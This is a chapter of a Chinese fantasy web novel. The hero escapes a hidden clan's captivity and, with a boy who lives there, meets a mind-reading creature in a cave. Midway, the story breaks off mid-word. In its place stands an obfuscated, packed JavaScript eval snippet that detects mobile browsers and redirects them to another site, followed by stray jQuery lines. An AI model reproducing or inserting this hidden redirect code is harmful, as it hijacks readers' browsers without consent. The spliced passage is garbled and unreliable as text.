34. 第三十四章

作品:《将神

    越金族。


    江与珩心中掀起波澜,他想起了拍卖场中沈唤星低沉的声音,商客们贪婪渴望的目光,以及霍川的谎言,一一划过他的脑海。


    一切都有了解释。


    传闻中,消失了二十多年的越金族,竟然凭借设下的阵法,悄无声息地藏在这里。


    宁夕照在抓获霍川和他的哥哥后,可能猜到了越金族的大概位置,所以在必经之地设下埋伏,导致霍川即使逃出来也没办法回到族中。


    明白一切前因后果,江与珩生出一丝危险的预感。他眸光深深,沉声问道:“那你把这些告诉我,不怕我泄露你们行踪?还是说……”眼底闪过一道厉光,“你没打算放我出去?”


    少年神情阴沉,一眨不眨地盯着她。


    钟离枫说:“承诺你的事绝不食言,你只要说出阿川如今的下落,我一定放你出去。”


    江与珩没有说话,让人不知道他在想什么,忽然他说:“让我考虑一下。”


    钟离枫轻轻一笑,“一炷香后我会再来。”


    说完转身离开了。


    屋内陷入宁静。


    而屋外,等钟离枫走出来后一名少女立刻凑上前,见她想要说什么,钟离枫做出一个手势,两人直到远离房屋后才放心地开始交谈。


    少女名叫钟离瞳,是钟离枫的亲卫之一。


    她问:“首领,真的要放他走吗?他要是将这里的事情说出去……”


    钟离枫莞尔一笑,“你觉得我会让他这么离开吗?”


    钟离瞳似懂非懂,“那您的意思是?”


    钟离枫眺望远处的竹林,“我不会让二十五年前的事情再次上演。”


    钟离瞳想起了一个人,喃喃道:“钟离雁……”


    钟离枫听见她的低语,也为这个名字出了神,片刻说:“当务之急是要知道阿川的下落,我会遵守承诺送江与珩出阵,不过不是让他带着完整的记忆出去。”


    她伸出手,摩挲着腕间的银蛇手环。


    一炷香后,钟离枫应言回到屋中。


    只见江与珩被绑在那里,一动不动。


    钟离枫道:“时间已到,江仙友考虑好了吗?”


    江与珩没有说话,只是静静地看着地面的某一处。


    钟离枫见他默不作声,微蹙眉头,“江仙友?”


    依旧没有反应。


    钟离枫察觉不对,立刻走上前揪起江与珩的衣领,强迫他直视自己,然而却令她大吃一惊。


    这个江与珩双目无神,空洞无物,简直像个死人!


    钟离枫顿感不妙,使了法诀,道:“现!”


    ‘江与珩’回归了本相,竟变作了一根木头!


    障眼法!


    钟离枫这才明白,说让他考虑考虑,不过是拖延时间,好让他施展法术逃跑。


    “阿瞳!”她唤了一声。


    钟离瞳与另一名亲卫推门而入。


    两人见此大吃一惊,“首领,这是怎么回事?这人跑了?”


    钟离枫无声地握紧这根木头,“斡旋造化……是我小瞧他了,没想到他年纪轻轻竟然掌握这等高深法术,难怪能驾驭天火雷轮。”


    她取出三枚铜钱,轻轻一掷,落在一旁的木桌上,响起清脆的连声。


    钟离枫看一眼卦象,说:“他没跑远,往东南方向去追。”


    钟离瞳领命,“首领放心,他出不了阵,属下立刻领人将他抓回来!”


    如卦象所示,江与珩确实没有跑远。


    他直到脱身后,才能彻底看清整个村落的地形。


    这个村子坐落在崇山峻岭之中,背靠宛如剑锋般巍峨的大山,四面环林,曲折复杂。


    村中大概生活着三四百人,此刻已是傍晚,家家户户升起袅袅炊烟,夕阳西下,一派安然祥和之景。


    而江与珩躲在一间堆满杂物的库房里,听着外面熙熙攘攘的人群声,迅速思考着该怎么逃出这里。


    钟离枫会卜卦,说不准现在已经算出他的藏身地,他只能不断地移动位置。


    正当他闭目深思时,忽然听见了一道窸窸窣窣声。


    江与珩立刻警惕地睁开眼睛,全身紧绷。


    空气有片刻的凝滞。


    天华握在手,江与珩缓慢向声源靠过去。


    他背靠在一只破旧的衣柜后,小心地探头,只见衣柜靠墙放置,在墙与衣柜的夹角堆放着草垛,草垛上正睡着一名十二三岁的少年,他的四肢均被捆绑,但下手之人明显不愿意伤害到他,都是用柔软的布料。


    这少年睡得很安心,似乎根本不在乎自己被囚的境况,刚才窸窣的声音,是因为他翻了个身。


    江与珩见他衣着,明显是越金族人,那就不是和他一样擅闯进来的。


    就在这时,少年似乎感受到什么,缓缓睁开眼睛,正好和江与珩对视上。


    少年还没睡醒,迷迷糊糊的,怔愣片刻,惊讶地张大嘴巴,“啊”地一声大喊。


    江与珩立刻冲上前捂住他的嘴,眼神阴郁,恐吓道:“别叫,否则拧断你的脖子!”


    少年被他冷酷无情的目光吓到,连连点头。


    江与珩随即掐住他的脖子,只使了五分力,道:“你叫什么名字?”


    少年还处于震惊之中,结巴道:“钟、钟离潇。”


    “这里是什么地方?”


    “我家库房。”


    “为什么会被绑在这里?”


    “我想给后山的洞仙老爷爷送吃的,我娘不给我去,所以把我关在这里。”


    什么东西?


    江与珩真想反问一句,可这样未免失了几分狠气。他手上力道不减,说道:“送我出阵,我放你一条生路。”


    钟离潇睁圆眼睛,不敢置信:“你、你是外来人!”


    江与珩没说话,钟离潇完全惊呆了,直叫道:“天啊!怎么能有人闯进来!”


    江与珩加重力道,“小声点。”


    钟离潇立刻收敛,口中道:“等一下!我没办法把你带出去,我根本不知道怎么出去啊!只有族长能开启山影洞天的阵法,我们是不行的。”


    江与珩双目冷沉。


    钟离潇捉摸不透他的表情,他也知道闯入者必杀无疑,生怕这个外人会杀他灭口,又想起洞仙爷爷已经一天一夜没吃过饭了,急中生智道:“这样吧,我可以带你到一个地方暂时躲避一下,至少先别被族中人发现!”


    江与珩没说话,钟离潇讨好地询问:“可以吗?”


    他补充一句:“你可千万别杀我……”


    江与珩当然不会杀他,只是他明白一直躲着没用,既然钟离潇不知道出阵方法,保险起见还是先弄晕他再说。


    他一记手刀劈过去,谁知钟离潇没晕。


    江与珩:“……”


    钟离潇瞪着一双眼睛,问:“你要打晕我?”


    越金族的人身体素质普遍好,抗打的程度竟然也远超普通人。


    江与珩简直不知道说什么了。


    钟离潇连忙道:“你别这样对我!我不会说出去的,我发誓!!”


    江与珩冷脸说道:“你的誓言有什么用?”


    钟离潇吃瘪,涨红了脸,说:“那、那……”


    他噗通一声,跪倒在地,“我给你磕头了!!”


    江与珩:“……”


    这时,屋外忽然传来一道妇人的声音:“钟离潇,你在里面搞什么?”


    江与珩呼吸一窒,然而没等他控制住钟离潇,钟离潇开口喊:“阿娘,你就放我出去吧!”


    妇人骂道:“想都别想,告诉你多少次不准靠近那个地方,不挨骂就浑身难受,待着吧你!”


    映在窗棂上的身影离去了。


    江与珩松了口气,再去瞅钟离潇,他正笑眯眯地看着自己。


    掐了个法诀,捆在他身上的软绳断开。


    上面施了法印,但到底是江与珩修为更高一筹。


    钟离潇活络四肢,无比开心:“可憋屈死我了。”


    江与珩靠近窗口,掀开一角,就这一眼,刚好看见一批身穿守卫服饰的人向这里走来,正挨家挨户地查问。


    速度比他预想得还要快!


    钟离潇见状也靠过来,偷摸摸地看另一边窗口,说:“咦,是族长身边的亲卫。”


    江与珩问:“你认识他们?”


    钟离潇点头,一个个看过去,“钟离瞳、钟离昧、钟离昉,还有三个只打过照面,不知道姓名。奇怪,这也没到守夜的时候,怎么出动这么多?像是在抓谁。”


    话音刚落,钟离潇意识到什么,缓缓转头看江与珩,恰好因为刚才那句话江与珩正面无表情地盯着他。


    钟离潇讪讪一笑,“不是在找您吧?”


    江与珩哼一声,转身要离开此地。


    钟离潇跟上来,说:“族长精通卜卦,你逃到天涯海角都没用!”


    江与珩冷冷看着他。


    钟离潇被他这副阴郁冷厉的神色逼得不敢再说什么,然而犹豫片刻,又说:“但有个地方,族长无法占卜到,而且可以送你出去。”


    江与珩盯着他。


    钟离潇说:“你要是相信我,就跟我来。”


    江与珩思量片刻,扬下巴,示意他带路。


    两人偷偷从窗户翻出去,钟离潇在前引路,遇上村中人又是蒙混,又是打哈哈,成功带江与珩出了村落。


    一路向东南而行,很快两人来到一处背阴之地。


    但见天色昏暗,林中小径空落满地枯叶,寂寥无人。


    钟离潇带着江与珩,绕前绕后,左拐右进,路上只听他叽叽喳喳地说:“终于出来了,阿娘每次都这样,我一惹祸就会把我关起来。其实我也没犯什么大错,对我再严格也不会成为阿墨哥哥那样的人,我就是天生灵脉堵塞不能修炼嘛,难道越金族人人都是天才吗?”


    他顺手捡起地上的竹叶条,对着路边花花草草乱甩,继续说:“唉,这都多少年过去了,仙骨说不定早就没了,族长都这么说,就我阿娘不信邪,外面那些人也不信!”


    江与珩想起了沈唤星的话:“神魔大战,诸神陨落,越金族遁入人界隐居,经过千年沉浮,先天灵气渐渐被凡胎肉身减弱了原本的力量。”


    越金族是上古传承下来的血脉,他们自认是比普通的凡人高贵的,就算力量被减弱,也不愿相信,更无法容忍出了个天生不能修炼的平凡之人。


    想通这处,江与珩问:“整族人,就你一人不能修炼?”


    钟离潇浑不在意似地点头,说:“仙骨里出了个比凡胎肉身还要废物的存在,不怪我阿爹阿娘想不通,几年前我也想不通。”


    江与珩沉默了,钟离潇甩够了竹叶条随手一扔,说:“不过人各有命嘛,也无所谓了。”


    片刻后,两人走到一处略显空旷的林间。


    只有零星几根窜天的竹子,远处黑魆魆的山影静默着,好似深渊。钴蓝天幕下,离两人百米之近的距离,凸出一块漆黑的石块,像是剪影贴在天际上。


    离远看,更像是墓碑。


    钟离潇面色一喜,跨着大步要跑过去,江与珩拦住他,皱眉,“这是什么地方?”


    钟离潇眉飞色舞地说:“你放心,到了这里族长就什么也算不出来了!这里有洞仙爷爷在呢!”


    他抓着江与珩向黑色石碑奔去,一边说:“洞仙爷爷会实现很多愿望,什么都能做到!”


    走到近处,江与珩发现黑色石碑下,有一口洞。


    不大,脸盆大小,黑黢黢的,深不见底。


    钟离潇扒着黑色的石碑,朝洞口下喊:“洞仙爷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455638|185161||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爷!我来了!前几天我阿娘不给我出门,我现在出来了,给你带了酥饼!”


    说着他从怀中掏出油纸包的饼,说:“我给你扔下去了!”


    手一松,饼掉进了洞里。


    响起轻微的落地声,紧接着是一阵窸窸窣窣的动静,紧裹的油纸被打开,江与珩听见了吞吃的声音。


    钟离潇听见洞仙爷爷吃了起来,嘿嘿直笑,放下心来。


    江与珩冷不丁问:“这里面是个什么东西?”


    钟离潇顿时收起笑容,露出不认同的表情,说:“洞仙爷爷不是东西,他可以实现愿望的。”


    江与珩冷峭地扬起眉,心中笃定这洞中是只会哄骗人的妖怪,哪有仙人会龟缩在这不见天日的逼仄之地。


    他暗中抚上天火雷轮,打算叫这妖孽吃些苦头。


    谁知这洞里,竟幽幽地、石破惊天地传来一声:“江与珩。”


    江与珩脑中嗡地一声,愣住了,眉头紧蹙,死死盯着洞口。


    洞里那道声音再度说:“江与珩,你是玄天剑宗江照的儿子啊,来这里干什么?哦,寻虎鲛内丹。怎么到这里来了?唉,是误闯进来的。别用那东西对付我,不然杀了你。”


    从脚底掀起一股凉气。


    任谁在这异国他乡,荒郊野林里听见来历不明的东西,用一种沙哑古怪的语调,准确无误地说出自己的来历、目的和想法,都会汗毛直竖。


    江与珩强稳心神,问:“你是谁?”


    洞里的那道声音说:“小潇叫我洞仙爷爷,那我就是洞仙爷爷。”


    微微移动脚步,转移重心,保持着弦上利箭般地紧绷姿态,天火雷轮也流窜一股电光。


    洞仙道:“别用那东西对付我,我说过,我会杀了你。难道你不想出去吗?”


    “我更想知道,你是个什么东西!”


    在一旁听了许久的钟离潇道:“洞仙爷爷不是东西!”


    洞仙沉默许久,忽然疯疯癫癫地说:“是,我是个东西,我是个东西。”


    停了一下,带着不尽的茫然与空洞又说:“我是个什么东西呢?”


    “金缕衣,银缕衣,红颜枯骨幽冥地。


    长生殿,不老泉,满纸荒唐言!”


    不是诗词,不是句子。


    江与珩听得一头雾水,隐隐地对‘金缕衣’与‘不老泉’觉得熟悉,似乎在哪本古书上读到过,但此时此刻想不起来了。


    洞仙轻轻一叹,再无声音。


    钟离潇连连叫了几声,他都没有再回应。


    钟离潇倚在黑色石碑上,说:“洞仙爷爷可能睡着了,我也有点困了。”


    他打了个哈欠,眼角泛泪。


    冷风萧索吹过,江与珩衣摆猎猎鼓动,他问道:“你知道这下面的东西,是什么来头吗?”


    钟离潇说:“都说了是洞仙爷爷啊!”


    江与珩毫不客气地嘲讽:“神仙住在这种地方?”


    钟离潇丝毫没觉得哪里不对,反而言之凿凿:“神仙都会有自己心爱的洞府嘛。”


    江与珩察觉不对,钟离潇并不笨,为什么轻而易举地相信洞里的这个东西是神仙?


    “你老实说,你凭什么觉得他是仙?他做了什么?还是实现了你所谓的愿望?”


    钟离潇神色郑重地点头,说:“你说对了,洞仙爷爷实现了我的愿望。”


    江与珩来了兴趣,“你说说看。”


    钟离潇撸起袖子,露出右手手臂,只见肘关节再向上一点的肌肤上,有一道明显的横向疤痕。


    钟离潇说:“一个月前,阿爹阿娘因为一点小事骂我,我忿忿不平想着要离家出走,想跑到阵外去,去哪里都好,只要不回到这里。可我走不出山影洞天,迷迷糊糊地来到峡谷,谁知那一天遇上罕见的暴雨,山上走龙,就是起了山洪,我被冲走,失去了意识。再醒过来时,我的手被压在一块大石头下,怎么拔都拔不出来。”


    钟离潇伸手比了比,正是那道疤痕的地方。


    “我困了三天三夜,只能靠雨水充饥,阿爹阿娘迟迟都没有来,我有些绝望。又过了六天,我想他们是过不来了,我的手臂被压得没有一点儿知觉了。我想着,我还要出去闯,绝不能死在这儿,我开始自救,想着利用身边什么东西脱困,然后我摸到别在后腰里的一把匕首。没办法了。”


    钟离潇左手做刀,向右手臂一挥,做了个虚动作,说:“我砍了右手,这才逃出来。可我也不敢回去了,被阿爹阿娘知道,一定会骂我的,我走着走着来到这片竹林,我又饿又累,晕了过去。朦朦胧胧地我听见了洞仙爷爷的声音,他说‘可怜,可怜’,然后我感觉右手的断口处有一团肉肉的东西拢过来,我再醒来时,右手就长出来了,但应该是接上去,不然也不会有这道疤痕。”


    “我醒过来的时候,听见洞仙爷爷在洞口里叫我,他说他好饿,想吃点东西。我记得他的声音,我知道一定是他救的我,我在林中转悠老半天才找到几个野果,其实并不好吃,可洞仙爷爷却说太好吃了,像是很多年没有吃过东西的样子。然后洞仙爷爷为我指路,我回到村庄,我阿爹阿娘挺着急的,但着急的方式就是骂我,我这件事也没告诉其他人,从那天以后,我天天给洞仙爷爷带吃的东西。”


    “洞仙爷爷的法力也很强大,他能读懂别人的心,还会呼风唤雨,而且他说他可以打开山影洞天的阵法,只是我现在很弱,等到我强大起来,他会送我出阵!”


    江与珩一直认真地听着,心中除了对钟离潇起一点同情心之外,对这洞中的东西更加好奇了。


    读心、呼风唤雨,都是修为高者方能做到的。但这等能人,居然困在一个洞里出不去吗?否则怎么从来没有现过身,连吃个野果都需要别人帮助。


    江与珩想不通,那就只有亲自下去看看了。